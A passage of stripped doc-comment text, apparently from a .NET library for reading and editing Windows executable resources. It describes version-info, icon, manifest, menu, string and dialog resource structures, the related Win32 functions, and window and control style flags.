high-order word must contain the IBM code page number. Either high-order or low-order word can be zero, indicating that the file is language or code page independent. Microsoft language identifier. IBM code page number. This structure contains version information about a file. This information is language- and code page–independent. http://msdn.microsoft.com/en-us/library/ms647001.aspx Contains the value 0xFEEF04BD. This is used with the szKey member of the VS_VERSIONINFO structure when searching a file for the VS_FIXEDFILEINFO structure. Specifies the binary version number of this structure. The high-order word of this member contains the major version number, and the low-order word contains the minor version number. Specifies the most significant 32 bits of the file's binary version number. This member is used with dwFileVersionLS to form a 64-bit value used for numeric comparisons. Specifies the least significant 32 bits of the file's binary version number. This member is used with dwFileVersionMS to form a 64-bit value used for numeric comparisons. Specifies the most significant 32 bits of the binary version number of the product with which this file was distributed. This member is used with dwProductVersionLS to form a 64-bit value used for numeric comparisons. Specifies the least significant 32 bits of the binary version number of the product with which this file was distributed. This member is used with dwProductVersionMS to form a 64-bit value used for numeric comparisons. Contains a bitmask that specifies the valid bits in dwFileFlags. A bit is valid only if it was defined when the file was created. Contains a bitmask that specifies the Boolean attributes of the file. Specifies the operating system for which this file was designed. Specifies the general type of file. Specifies the function of the file. Specifies the most significant 32 bits of the file's 64-bit binary creation date and time stamp. Specifies the least significant 32 bits of the file's 64-bit binary creation date and time stamp. Creates a default Windows VS_FIXEDFILEINFO structure. A default Windows VS_FIXEDFILEINFO. A hardware-independent icon directory resource header. http://msdn.microsoft.com/en-us/library/ms997538.aspx Reserved, must be zero. Resource type, 1 for icons. Number of images. Hardware-independent icon directory entry. See http://msdn.microsoft.com/en-us/library/ms997538.aspx for more information. Width of the image. Starting with Windows 95 a value of 0 represents width of 256. Height of the image. Starting with Windows 95 a value of 0 represents height of 256. Number of colors in the image. bColors = 1 << (wBitsPerPixel * wPlanes) If wBitsPerPixel* wPlanes is greater orequal to 8, then bColors = 0. Reserved. Number of bitmap planes. 1: monochrome bitmap Bits per pixel. 1: monochrome bitmap Image size in bytes. Icon ID. Hardware-independent icon directory entry in an .ico file. Icon width. Icon height. Colors; 0 means 256 or more. Reserved. Number of bitmap planes for icons. Horizontal hotspot for cursors. Bits per pixel for icons. Vertical hostpot for cursors. Image size in bytes. Offset of bitmap data from the beginning of the file. Hardware-independent icon structure in an .ico file. Reserved, must be zero. Resource Type (1 for icons). Number of images. If this value is used, the system maps the file into the calling process's virtual address space as if it were a data file. If this value is used, and the executable module is a DLL, the system does not call DllMain for process and thread initialization and termination. If this value is used and lpFileName specifies an absolute path, the system uses the alternate file search strategy. If this value is used, the system does not perform automatic trust comparisons on the DLL or its dependents when they are loaded. Loads the specified module into the address space of the calling process. The specified module may cause other modules to be loaded. The name of the module. This parameter is reserved for future use. The action to be taken when loading the module. Frees the loaded dynamic-link library (DLL) module and, if necessary, decrements its reference count. A handle to the loaded library module. If the function succeeds, the return value is nonzero. Predefined resource types. Hardware-dependent cursor resource. Bitmap resource. Hardware-dependent icon resource. Menu resource. Dialog box. String-table entry. Font directory resource. Font resource. Accelerator table. Application-defined resource (raw data). Message-table entry. Hardware-independent cursor resource. Hardware-independent icon resource. Version resource. Allows a resource editing tool to associate a string with an .rc file. Plug and Play resource. VXD. Animated cursor. Animated icon. HTML. Microsoft Windows XP: Side-by-Side Assembly XML Manifest. Enumerates resource types within a binary module. Handle to a module to search. Pointer to the callback function to be called for each enumerated resource type. Specifies an application-defined value passed to the callback function. Returns TRUE if successful; otherwise, FALSE. An application-defined callback function used with the EnumResourceTypes and EnumResourceTypesEx functions. The handle to the module whose executable file contains the resources for which the types are to be enumerated. Pointer to a null-terminated string specifying the type name of the resource for which the type is being enumerated. Specifies the application-defined parameter passed to the EnumResourceTypes or EnumResourceTypesEx function. Returns TRUE if successful; otherwise, FALSE. Enumerates resources of a specified type within a binary module. Handle to a module to search. Pointer to a null-terminated string specifying the type of the resource for which the name is being enumerated. Pointer to the callback function to be called for each enumerated resource name or ID. Specifies an application-defined value passed to the callback function. Returns TRUE if the function succeeds or FALSE if the function does not find a resource of the type specified, or if the function fails for another reason. An application-defined callback function used with the EnumResourceNames and EnumResourceNamesEx functions. The handle to the module whose executable file contains the resources that are being enumerated. Pointer to a null-terminated string specifying the type of resource that is being enumerated. Specifies the name of a resource of the type being enumerated. Specifies the application-defined parameter passed to the EnumResourceNames or EnumResourceNamesEx function. Returns TRUE if the function succeeds or FALSE if the function does not find a resource of the type specified, or if the function fails for another reason. Enumerates language-specific resources, of the specified type and name, associated with a binary module. The handle to a module to search. Pointer to a null-terminated string specifying the type of resource for which the language is being enumerated. Pointer to a null-terminated string specifying the name of the resource for which the language is being enumerated. Pointer to the callback function to be called for each enumerated resource language. Specifies an application-defined value passed to the callback function. Returns TRUE if successful or FALSE otherwise. An application-defined callback function used with the EnumResourceLanguages and EnumResourceLanguagesEx functions. The handle to the module whose executable file contains the resources for which the languages are being enumerated. Pointer to a null-terminated string specifying the type name of the resource for which the language is being enumerated. Pointer to a null-terminated string specifying the name of the resource for which the language is being enumerated. Specifies the language identifier for the resource for which the language is being enumerated. Specifies the application-defined parameter passed to the EnumResourceLanguages or EnumResourceLanguagesEx function. Returns TRUE if successful or FALSE otherwise. Determines the location of the resource with the specified type, name, and language in the specified module. Handle to the module whose executable file contains the resource. Pointer to a null-terminated string specifying the type name of the resource. Pointer to a null-terminated string specifying the name of the resource. Specifies the language of the resource. If the function succeeds, the return value is a handle to the specified resource's information block. Locks the specified resource in memory. Handle to the resource to be locked. If the loaded resource is locked, the return value is a pointer to the first byte of the resource; otherwise, it is NULL. Loads the specified resource into global memory. Handle to the module whose executable file contains the resource. Handle to the resource to be loaded. If the function succeeds, the return value is a handle to the data associated with the resource. Returns the size, in bytes, of the specified resource. Handle to the module whose executable file contains the resource. Handle to the resource. This handle must be created by using the FindResource or FindResourceEx function. If the function succeeds, the return value is the number of bytes in the resource. Closes an open object handle. A valid handle to an open object. If the function succeeds, the return value is nonzero. Returns a handle to either a language-neutral portable executable file (LN file) or a language-specific resource file (.mui file) that can be used by the UpdateResource function to add, delete, or replace resources in a binary module. Pointer to a null-terminated string that specifies the binary file in which to update resources. Specifies whether to delete the pFileName parameter's existing resources. If the function succeeds, the return value is a handle that can be used by the UpdateResource and EndUpdateResource functions. Adds, deletes, or replaces a resource in a portable executable (PE) file. There are some restrictions on resource updates in files that contain Resource Configuration (RC Config) data: language-neutral (LN) files and language-specific resource (.mui) files. A module handle returned by the BeginUpdateResource function, referencing the file to be updated. Pointer to a null-terminated string specifying the resource type to be updated. Pointer to a null-terminated string specifying the name of the resource to be updated. Specifies the language identifier of the resource to be updated. Pointer to the resource data to be inserted into the file indicated by hUpdate. Specifies the size, in bytes, of the resource data at lpData. Returns TRUE if successful or FALSE otherwise. Commits or discards changes made prior to a call to UpdateResource. A module handle returned by the BeginUpdateResource function, and used by UpdateResource, referencing the file to be updated. Specifies whether to write the resource updates to the file. If this parameter is TRUE, no changes are made. If it is FALSE, the changes are made: the resource updates will take effect. Returns TRUE if the function succeeds; FALSE otherwise. Neutral primary language ID. US-English primary language ID. Neutral sublanguage ID. US-English sublanguage ID. CREATEPROCESS_MANIFEST_RESOURCE_ID is used primarily for EXEs. If an executable has a resource of type RT_MANIFEST, ID CREATEPROCESS_MANIFEST_RESOURCE_ID, Windows will create a process default activation context for the process. The process default activation context will be used by all components running in the process. CREATEPROCESS_MANIFEST_RESOURCE_ID can also used by DLLs. When Windows probe for dependencies, if the dll has a resource of type RT_MANIFEST, ID CREATEPROCESS_MANIFEST_RESOURCE_ID, Windows will use that manifest as the dependency. ISOLATIONAWARE_MANIFEST_RESOURCE_ID is used primarily for DLLs. It should be used if the dll wants private dependencies other than the process default. For example, if an dll depends on comctl32.dll version 6.0.0.0. It should have a resource of type RT_MANIFEST, ID ISOLATIONAWARE_MANIFEST_RESOURCE_ID to depend on comctl32.dll version 6.0.0.0, so that even if the process executable wants comctl32.dll version 5.1, the dll itself will still use the right version of comctl32.dll. When ISOLATION_AWARE_ENABLED is defined, Windows re-defines certain APIs. For example LoadLibraryExW is redefined to IsolationAwareLoadLibraryExW. Resource manifest type. CREATEPROCESS_MANIFEST_RESOURCE_ID ISOLATIONAWARE_MANIFEST_RESOURCE_ID ISOLATIONAWARE_NOSTATICIMPORT_MANIFEST_RESOURCE_ID Copies the contents of a source memory block to a destination memory block, and supports overlapping source and destination memory blocks. A pointer to the starting address of the copied block's destination. A pointer to the starting address of the block of memory to copy. The size of the block of memory to copy, in bytes. A resource load exception. The Win32 exception from a resource enumeration function. A new resource load exception. Error message. The inner exception thrown within a single resource. The outer exception from the Win32 API. A combined message of the inner and outer exception. An embedded SxS manifest. Embedded XML manifest. Manifest type. An existing embedded manifest resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new executable CreateProcess manifest. A new executable manifest. Manifest type. Read the resource. Module handle. Pointer to the beginning of a resource. Pointer to the end of the resource. Write the resource to a binary stream. Binary stream. Load a manifest resource from an executable file. Name of an executable file (.exe or .dll). Manifest resource type. Extended menu template. Menu items. Read the menu template. Address in memory. Write the menu template. Binary stream. String representation of the menu in the MENUEX format. String representation of the menu. A base menu template item. Menu item header. Menu string. Menu text. Read the menu item. Address in memory. End of the menu item structure. Write the menu item to a binary stream. Binary stream. String representation in the MENU format. Indent. String representation. String representation in the MENU format. String representation. A collection of menu items. A collection of extended menu items. Read the menu item collection. Address in memory. End of the menu item structure. Write the menu collection to a binary stream. Binary stream. String representation in the MENU format. String representation. String representation in the MENU format. Indent. String representation. A command menu item. A command menu item. Returns true if the item is a separator. String representation in the MENU format. Indent. String representation. An extended popup menu item. Sub menu items. An extended popup menu item. Read an extended popup menu item. Address in memory. End of the menu item structure. Write the menu item to a binary stream. Binary stream. String representation in the MENUEX format. String representation. A generic resource. Menu template. A structured menu resource. A structured menu resource embedded in an executable module. Module handle. Resource handle. Type of resource. Resource name. Language id. Resource size. Read a menu resource. Module handle. Pointer to the beginning of a resource. Pointer to the end of the resource. Write the menu resource to a binary stream. Binary stream. String representation of the menu resource in the MENU format. String representation of the menu resource. Standard menu template. Menu items. Read the menu template. Address in memory. Write menu template to a binary stream. Binary stream. String representation of the menu in the MENU format. String representation of the menu. A menu template header. Read the menu template header. Address in memory. Write the menu to a binary stream. Binary stream. A base menu template item. Menu item header. Menu string. Menu text. Read the menu item. Address in memory. End of the menu item structure. String representation in the MENU format. Indent. String representation. String representation in the MENU format. String representation. A collection of menu items. A collection of menu items. Read the menu item collection. Address in memory. End of the menu item structure. Write the menu collection to a binary stream. Binary stream. String representation in the MENU format. String representation. String representation in the MENU format. Indent. String representation. A command menu item. Command menu id. A command menu item. Read a command menu item. Address in memory. End of the menu item structure. Write menu item to a binary stream. Binary stream. Returns true if the item is a separator. String representation in the MENU format. Indent. String representation. A popup menu item. Sub menu items. A popup menu item. Read a popup menu item. Address in memory. End of the menu item structure. Write menu item to a binary stream. Binary stream. String representation in the MENU format. String representation. A version resource. Resource type. Resource name. Resource language. Loaded binary nodule. Pointer to the resource. Resource size. Version resource size in bytes. Language ID. Resource type. String representation of the resource type. Resource name. A new resource. A structured resource embedded in an executable module. Module handle. Resource handle. Resource type. Resource name. Language ID. Resource size. Lock and read the resource. Module handle. Resource handle. Load a resource from an executable (.exe or .dll) file. An executable (.exe or .dll) file. Load a resource from an executable (.exe or .dll) file. An executable (.exe or .dll) file. Resource name. Resource type. Resource language. Load a resource from an executable (.exe or .dll) module. An executable (.exe or .dll) module. Resource type. Resource name. Resource language. Read a resource from a previously loaded module. Module handle. Pointer to the beginning of the resource. Pointer to the end of the resource. Write the resource to a memory stream. Binary stream. Return resource data. Resource data. Save a resource. Name of an executable file (.exe or .dll). Save a resource to an executable (.exe or .dll) file. Path to an executable file. Resource name. Resource type. Language id. Delete a resource from an executable (.exe or .dll) file. Path to an executable file. Delete a resource from an executable (.exe or .dll) file. Path to an executable file. Resource name. Resource type. Resource language. Save a resource to an executable (.exe or .dll) file. Path to an executable file. Resource name. Resource type. Resource language. Resource data. Save a batch of resources to a given file. Path to an executable file. The resources to write. A resource Id. There're two types of resource Ids, reserved integer numbers (eg. RT_ICON) and custom string names (eg. "CUSTOM"). A resource identifier. A integer or string resource id. A resource identifier. A integer resource id. A well-known resource-type identifier. A well known resource type. A custom resource identifier. Resource Id. If the resource Id is a string, it will be copied. String representation of a resource type name. An enumerated resource type for built-in resource types only. Returns true if the resource is an integer resource. Returns true if the resource is an integer resource. Resource pointer. Resource Id in a string format. String representation of the resource Id. Resource name. Resource Id hash code. Resource Ids of the same type have the same hash code. Resource Id. Compares two resource Ids by value. Resource Id. True if both resource Ids represent the same resource. Resource info manager. A dictionary of resources, the key is the resource type, eg. "REGISTRY" or "16" (version). A shortcut for available resource types. A new resource info. Unload the previously loaded module. Load an executable or a DLL and read its resources. Source filename. Enumerate resource types. Module handle. Resource type. Additional parameter. TRUE if successful. Enumerate resource names within a resource by type Module handle. Resource type. Resource name. Additional parameter. TRUE if successful. Create a resource of a given type. Module handle. Pointer to the resource in memory. Resource type. Resource name. Language ID. Size of resource. A specialized or a generic resource. Enumerate resource languages within a resource by name Module handle. Resource type. Resource name. Language ID. Additional parameter. TRUE if successful. Save resource to a file. Target filename. Dispose resource info object. A collection of resources. Resource type. A collection of resources of a given type. A collection of resources. Resource type. A collection of resources of a given type. Enumerates all resources within this resource info collection. Resources enumerator. Enumerates all resources within this resource info collection. Resources enumerator. A resource table header. Resource table header. Resource table key. Resource table key. Resource header. A new resource table header. An resource table header with a specific key. resource key An existing resource table. Pointer to resource table data. Read the resource header, return a pointer to the end of it. Top of header. End of header, after the key, aligned at a 32 bit boundary. Write the resource table. Binary stream. String representation. String representation. String representation. Indent. String representation. Resource utilities. Align an address to a 4-byte boundary. Address in memory. 4-byte aligned pointer. Align a pointer to a 4-byte boundary. Pointer to an address in memory. 4-byte aligned pointer. Pad data to a WORD. Binary stream. New position within the binary stream. Pad data to a DWORD. Binary stream. New position within the binary stream. Returns the high WORD from a DWORD value. WORD value. High WORD. Returns the high WORD from a DWORD value. WORD value. High WORD. Write a value at a given position. Used to write a size of data in an earlier located header. Binary stream. Value to write. Address to write the value at. Pad bytes. Binary stream. Number of bytes to write. New position within the stream. Neutral language ID. US-English language ID. Make a language ID from a primary language ID (low-order 10 bits) and a sublanguage (high-order 6 bits). Primary language ID. Sublanguage ID. Microsoft language ID. Return the primary language ID from a Microsoft language ID. Microsoft language ID primary language ID (low-order 10 bits) Return the sublanguage ID from a Microsoft language ID. Microsoft language ID. Sublanguage ID (high-order 6 bits). Returns the memory representation of an object. Object type. Data. Object's representation in memory. Get a collection of flags from a flag value. Flag collection type. Flag value. Collection of flags. Get a string representation of flags. Flag collection type. Flag vlaue String representation of flags in the f1 | ... | fn format. This structure depicts the organization of data in a file-version resource. It contains version information that can be displayed for a particular language and code page. http://msdn.microsoft.com/en-us/library/aa908808.aspx Resource strings. A new string file-version resource. An existing string file-version resource. Pointer to the beginning of a string file-version resource. Read an existing string file-version resource. Pointer to the beginning of a string file-version resource. Pointer to the end of the string file-version resource. Write the string file-version resource to a binary stream. Binary stream. Default (first) string table. Indexed string table. Key. A string table at a given index. String representation of StringFileInfo. Indent. String in the StringFileInfo format. A string, RT_STRING resource. Each string resource block has 16 strings, each represented as an ordered pair (length, text). Length is a WORD that specifies the size, in terms of the number of characters, in the text that follows. Text follows length and contains the string in Unicode without the NULL terminating character. There may be no characters in text, in which case length is zero. String collection in this resource. Returns a string of a given Id. String Id. A string of a given Id. A new string resource. A new string resource of a given block id. Block id. A new string resource of a given block id. Block id. An existing string resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A string with ID, stringId, is located in the block with ID given by the following formula. http://support.microsoft.com/kb/q196774/ String table block id. Read the strings. Handle to a module. Pointer to the beginning of the string table. Address of the end of the string table. String representation of the strings resource. This structure depicts the organization of data in a file-version resource. It contains language and code page formatting information for the strings. A code page is an ordered character set. See http://msdn.microsoft.com/en-us/library/aa909192.aspx for more information. Resource strings. A new string table. A new string table. String table key. An existing string table. Pointer to the beginning of the table. Read a string table. Pointer to the beginning of the string table. Pointer to the end of the string table. Write the string table to a binary stream. Binary stream. Last unpadded position. The four most significant digits of the key represent the language identifier. Each Microsoft Standard Language identifier contains two parts: the low-order 10 bits specify the major language, and the high-order 6 bits specify the sublanguage. The four least significant digits of the key represent the code page for which the data is formatted. Returns an entry within the string table. Key. An entry within the string table. String representation of the string table. Indent. String representation of the strings table. This structure depicts the organization of data in a file-version resource. It contains a string that describes a specific aspect of a file, such as a file's version, its copyright notices, or its trademarks. http://msdn.microsoft.com/en-us/library/aa909025.aspx The value is always stored double-null-terminated. When set to true the length in the header will also contain the padding bytes when writing to a stream. The MSDN reference (http://www.webcitation.org/6zBLYbvww) does not clarify which variant is 'right'. String resource header. Key. String value (removing the double-null-terminator). Value. A new string resource. Key. An existing string resource. Pointer to the beginning of a string resource. Read a string resource. Pointer to the beginning of a string resource. Write a string resource to a binary stream. Binary stream. User32.dll functions. Contains information about an icon or a cursor. Specifies whether this structure defines an icon or a cursor. A value of TRUE specifies an icon; FALSE specifies a cursor. Specifies the x-coordinate of a cursor's hot spot. If this structure defines an icon, the hot spot is always in the center of the icon, and this member is ignored. Specifies the y-coordinate of the cursor's hot spot. If this structure defines an icon, the hot spot is always in the center of the icon, and this member is ignored. Specifies the icon bitmask bitmap. Handle to the icon color bitmap. Retrieve a handle to a device context (DC) for the client area of a specified window or for the entire screen. A handle to the window whose DC is to be retrieved. If this value is NULL, GetDC retrieves the DC for the entire screen. If the function succeeds, the return value is a handle to the DC for the specified window's client area. If the function fails, the return value is NULL. Releases a device context (DC), freeing it for use by other applications. A handle to the window whose DC is to be released. A handle to the DC to be released. The return value indicates whether the DC was released. If the DC was released, the return value is 1. If the DC was not released, the return value is zero. The DIALOGTEMPLATE structure defines the dimensions and style of a dialog box. This structure, always the first in a standard template for a dialog box, also specifies the number of controls in the dialog box and therefore specifies the number of subsequent DIALOGITEMTEMPLATE structures in the template. Specifies the style of the dialog box. Extended styles for a window. Specifies the number of items in the dialog box. Specifies the x-coordinate, in dialog box units, of the upper-left corner of the dialog box. Specifies the y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Specifies the width, in dialog box units, of the dialog box. Specifies the height, in dialog box units, of the dialog box. The DIALOGITEMTEMPLATE structure defines the dimensions and style of a control in a dialog box. Specifies the style of the control. Extended styles for a window. Specifies the x-coordinate, in dialog box units, of the upper-left corner of the control. Specifies the y-coordinate, in dialog box units, of the upper-left corner of the control. Specifies the width, in dialog box units, of the control. Specifies the height, in dialog box units, of the control. Specifies the control identifier. An extended dialog box template begins with a DIALOGEXTEMPLATE header that describes the dialog box and specifies the number of controls in the dialog box. For each control in a dialog box, an extended dialog box template has a block of data that uses the DIALOGEXITEMTEMPLATE format to describe the control. Specifies the version number of the extended dialog box template. This member must be 1. Indicates whether a template is an extended dialog box template. Specifies the help context identifier for the dialog box window. When the system sends a WM_HELP message, it passes this value in the wContextId member of the HELPINFO structure. Specifies extended windows styles. Specifies the style of the dialog box. Specifies the number of controls in the dialog box. Specifies the x-coordinate, in dialog box units, of the upper-left corner of the dialog box. Specifies the y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Specifies the width, in dialog box units, of the dialog box. Specifies the height, in dialog box units, of the dialog box. A control entry in an extended dialog template. Specifies the help context identifier for the dialog box window. When the system sends a WM_HELP message, it passes this value in the wContextId member of the HELPINFO structure. Specifies extended windows styles. Specifies the style of the dialog box. Specifies the x-coordinate, in dialog box units, of the upper-left corner of the dialog box. Specifies the y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Specifies the width, in dialog box units, of the dialog box. Specifies the height, in dialog box units, of the dialog box. Specifies the control identifier. Window styles. http://msdn.microsoft.com/en-us/library/ms632600(VS.85).aspx Creates an overlapped window. An overlapped window has a title bar and a border. Same as the WS_TILED style. Creates a pop-up window. This style cannot be used with the WS_CHILD style. Creates a child window. A window with this style cannot have a menu bar. This style cannot be used with the WS_POPUP style. Creates a window that is initially minimized. Same as the WS_ICONIC style. Creates a window that is initially visible. Creates a window that is initially disabled. A disabled window cannot receive input from the user. Clips child windows relative to each other; that is, when a particular child window receives a WM_PAINT message, the WS_CLIPSIBLINGS style clips all other overlapping child windows out of the region of the child window to be updated. If WS_CLIPSIBLINGS is not specified and child windows overlap, it is possible, when drawing within the client area of a child window, to draw within the client area of a neighboring child window. Excludes the area occupied by child windows when drawing occurs within the parent window. This style is used when creating the parent window. Creates a window that is initially maximized. Creates a window that has a title bar (includes the WS_BORDER style). Creates a window that has a thin-line border. Creates a window that has a border of a style typically used with dialog boxes. A window with this style cannot have a title bar. Creates a window that has a vertical scroll bar. Creates a window that has a horizontal scroll bar. Creates a window that has a window menu on its title bar. The WS_CAPTION style must also be specified. Creates a window that has a sizing border. Same as the WS_SIZEBOX style. Specifies the first control of a group of controls. The group consists of this first control and all controls defined after it, up to the next control with the WS_GROUP style. The first control in each group usually has the WS_TABSTOP style so that the user can move from group to group. The user can subsequently change the keyboard focus from one control in the group to the next control in the group by using the direction keys. Specifies a control that can receive the keyboard focus when the user presses the TAB key. Pressing the TAB key changes the keyboard focus to the next control with the WS_TABSTOP style. Dialog styles. http://msdn.microsoft.com/en-us/library/ms644994(VS.85).aspx Specifying this style in the dialog template tells Windows that the dtX and dtY values of the DIALOGTEMPLATE struct are relative to the screen origin, not the owner of the dialog box. Create a dialog box with the WS_EX_TOPMOST flag. This flag cannot be combined with the DS_CONTROL style. This flag is obsolete and is included for compatibility with 16-bit versions of Windows. Applies to 16-bit applications only. This style directs edit controls in the dialog box to allocate memory from the application data segment. Otherwise, edit controls allocate storage from a global memory object. Indicates that the header of the dialog box template contains additional data specifying the font to use for text in the client area and controls of the dialog box. Creates a dialog box with a modal dialog-box frame that can be combined with a title bar and window menu by specifying the WS_CAPTION and WS_SYSMENU styles. Suppresses WM_ENTERIDLE messages that the system would otherwise send to the owner of the dialog box while the dialog box is displayed. Causes the system to use the SetForegroundWindow function to bring the dialog box to the foreground. Gives the dialog box a nonbold font and draws three-dimensional borders around control windows in the dialog box. Causes the dialog box to use the SYSTEM_FIXED_FONT instead of the default SYSTEM_FONT. This is a monospace font compatible with the System font in 16-bit versions of Windows earlier than 3.0. Creates the dialog box even if errors occur — for example, if a child window cannot be created or if the system cannot create a special data segment for an edit control. Creates a dialog box that works well as a child window of another dialog box, much like a page in a property sheet. This style allows the user to tab among the control windows of a child dialog box, use its accelerator keys, and so on. Centers the dialog box in the working area; that is, the area not obscured by the tray. Centers the dialog box on the mouse cursor. Includes a question mark in the title bar of the dialog box. When the user clicks the question mark, the cursor changes to a question mark with a pointer. If the user then clicks a control in the dialog box, the control receives a WM_HELP message. The control should pass the message to the dialog box procedure, which should call the function using the HELP_WM_HELP command. The help application displays a pop-up window that typically contains help for the control. Indicates that the dialog box should use the system font. Extended dialog styles. Creates a window that has a double border; the window can, optionally, be created with a title bar by specifying the WS_CAPTION style in the dwStyle parameter. Specifies that a child window created with this style does not send the WM_PARENTNOTIFY message to its parent window when it is created or destroyed. Specifies that a window created with this style should be placed above all non-topmost windows and should stay above them, even when the window is deactivated. To add or remove this style, use the SetWindowPos function. Specifies that a window created with this style accepts drag-drop files. Specifies that a window created with this style should not be painted until siblings beneath the window (that were created by the same thread) have been painted. The window appears transparent because the bits of underlying sibling windows have already been painted. Creates a multiple-document interface (MDI) child window. Creates a tool window; that is, a window intended to be used as a floating toolbar. A tool window has a title bar that is shorter than a normal title bar, and the window title is drawn using a smaller font. A tool window does not appear in the taskbar or in the dialog that appears when the user presses ALT+TAB. If a tool window has a system menu, its icon is not displayed on the title bar. However, you can display the system menu by right-clicking or by typing ALT+SPACE. Specifies that a window has a border with a raised edge. Specifies that a window has a border with a sunken edge. Includes a question mark in the title bar of the window. When the user clicks the question mark, the cursor changes to a question mark with a pointer. If the user then clicks a child window, the child receives a WM_HELP message. The child window should pass the message to the parent window procedure, which should call the WinHelp function using the HELP_WM_HELP command. The Help application displays a pop-up window that typically contains help for the child window. The window has generic "right-aligned" properties. This depends on the window class. This style has an effect only if the shell language is Hebrew, Arabic, or another language that supports reading-order alignment; otherwise, the style is ignored. Using the WS_EX_RIGHT style for static or edit controls has the same effect as using the SS_RIGHT or ES_RIGHT style, respectively. Using this style with button controls has the same effect as using BS_RIGHT and BS_RIGHTBUTTON styles. Creates a window that has generic left-aligned properties. This is the default. If the shell language is Hebrew, Arabic, or another language that supports reading-order alignment, the window text is displayed using right-to-left reading-order properties. For other languages, the style is ignored. The window text is displayed using left-to-right reading-order properties. This is the default. If the shell language is Hebrew, Arabic, or another language that supports reading order alignment, the vertical scroll bar (if present) is to the left of the client area. For other languages, the style is ignored. Vertical scroll bar (if present) is to the right of the client area. This is the default. The window itself contains child windows that should take part in dialog box navigation. If this style is specified, the dialog manager recurses into children of this window when performing navigation operations such as handling the TAB key, an arrow key, or a keyboard mnemonic. Creates a window with a three-dimensional border style intended to be used for items that do not accept user input. Forces a top-level window onto the taskbar when the window is visible. Combines the WS_EX_CLIENTEDGE and WS_EX_WINDOWEDGE styles. Combines the WS_EX_WINDOWEDGE, WS_EX_TOOLWINDOW, and WS_EX_TOPMOST styles. Windows 2000/XP: Creates a layered window. Note that this cannot be used for child windows. Also, this cannot be used if the window has a class style of either CS_OWNDC or CS_CLASSDC. Windows 2000/XP: A window created with this style does not pass its window layout to its child windows. Arabic and Hebrew versions of Windows 98/Me, Windows 2000/XP: Creates a window whose horizontal origin is on the right edge. Increasing horizontal values advance to the left. Windows XP: Paints all descendants of a window in bottom-to-top painting order using double-buffering. For more information, see Remarks. This cannot be used if the window has a class style of either CS_OWNDC or CS_CLASSDC. Windows 2000/XP: A top-level window created with this style does not become the foreground window when the user clicks it. The system does not bring this window to the foreground when the user minimizes or closes the foreground window. Possible DIALOGEXITEMTEMPLATE WindowClass ordinals. A button. An edit box. A static control. A list box. A scroll bar. A combo box. Static control styles. A static control specifies the STATIC class, appropriate window style constants, and a combination of the following static control styles. http://msdn.microsoft.com/en-us/library/bb760773(VS.85).aspx Specifies a simple rectangle and left-aligns the text in the rectangle. The text is formatted before it is displayed. Words that extend past the end of a line are automatically wrapped to the beginning of the next left-aligned line. Words that are longer than the width of the control are truncated. Specifies a simple rectangle and centers the text in the rectangle. The text is formatted before it is displayed. Words that extend past the end of a line are automatically wrapped to the beginning of the next centered line. Words that are longer than the width of the control are truncated. Specifies a simple rectangle and right-aligns the text in the rectangle. The text is formatted before it is displayed. Words that extend past the end of a line are automatically wrapped to the beginning of the next right-aligned line. Words that are longer than the width of the control are truncated. Specifies an icon to be displayed in the dialog box. If the control is created as part of a dialog box, the text is the name of an icon (not a filename) defined elsewhere in the resource file. If the control is created via CreateWindow or a related function, the text is the name of an icon (not a filename) defined in the resource file associated with the module specified by the hInstance parameter to CreateWindow. The icon can be an animated cursor. Specifies a rectangle filled with the current window frame color. This color is black in the default color scheme. Specifies a rectangle filled with the current screen background color. This color is gray in the default color scheme. Specifies a rectangle filled with the current window background color. This color is white in the default color scheme. Specifies a box with a frame drawn in the same color as the window frames. This color is black in the default color scheme. Specifies a box with a frame drawn with the same color as the screen background (desktop). This color is gray in the default color scheme. Specifies a box with a frame drawn with the same color as the window background. This color is white in the default color scheme. Specifies a simple rectangle and displays a single line of left-aligned text in the rectangle. The text line cannot be shortened or altered in any way. Also, if the control is disabled, the control does not gray its text. Specifies a simple rectangle and left-aligns the text in the rectangle. Tabs are expanded, but words are not wrapped. Text that extends past the end of a line is clipped. Specifies that the owner of the static control is responsible for drawing the control. The owner window receives a WM_DRAWITEM message whenever the control needs to be drawn. Specifies that a bitmap is to be displayed in the static control. The text is the name of a bitmap (not a filename) defined elsewhere in the resource file. The style ignores the nWidth and nHeight parameters; the control automatically sizes itself to accommodate the bitmap. Specifies that an enhanced metafile is to be displayed in the static control. The text is the name of a metafile. An enhanced metafile static control has a fixed size; the metafile is scaled to fit the static control's client area. Draws the top and bottom edges of the static control using the EDGE_ETCHED edge style. Draws the left and right edges of the static control using the EDGE_ETCHED edge style. Draws the frame of the static control using the EDGE_ETCHED edge style. Windows 2000: A composite style bit that results from using the OR operator on SS_* style bits. Can be used to mask out valid SS_* bits from a given bitmask. Note that this is out of date and does not correctly include all valid styles. Thus, you should not use this style. Windows XP or later: Adjusts the bitmap to fit the size of the static control. For example, changing the locale can change the system font, and thus controls might be resized. If a static control had a bitmap, the bitmap would no longer fit the control. This style bit dictates automatic redimensioning of bitmaps to fit their controls. Prevents interpretation of any ampersand characters in the control's text as accelerator prefix characters. These are displayed with the ampersand removed and the next character in the string underlined. This static control style may be included with any of the defined static controls. You can combine SS_NOPREFIX with other styles. This can be useful when filenames or other strings that may contain an ampersand must be displayed in a static control in a dialog box. Sends the parent window STN_CLICKED, STN_DBLCLK, STN_DISABLE, and STN_ENABLE notification messages when the user clicks or double-clicks the control. Specifies that a bitmap is centered in the static control that contains it. The control is not resized, so that a bitmap too large for the control will be clipped. If the static control contains a single line of text, the text is centered vertically in the client area of the control. Specifies that the lower right corner of a static control with the SS_BITMAP or SS_ICON style is to remain fixed when the control is resized. Only the top and left sides are adjusted to accommodate a new bitmap or icon. Specifies that the actual resource width is used and the icon is loaded using LoadImage. SS_REALSIZEIMAGE is always used in conjunction with SS_ICON. Draws a half-sunken border around a static control. Microsoft Windows 2000: Specifies that the static control duplicates the text-displaying characteristics of a multiline edit control. Specifically, the average character width is calculated in the same manner as with an edit control, and the function does not display a partially visible last line. Microsoft Windows NT or later: If the end of a string does not fit in the rectangle, it is truncated and ellipses are added. If a word that is not at the end of the string goes beyond the limits of the rectangle, it is truncated without ellipses. Using this style will force the control’s text to be on one line with no word wrap. Compare with SS_PATHELLIPSIS and SS_WORDELLIPSIS. Windows NT or later: Replaces characters in the middle of the string with ellipses so that the result fits in the specified 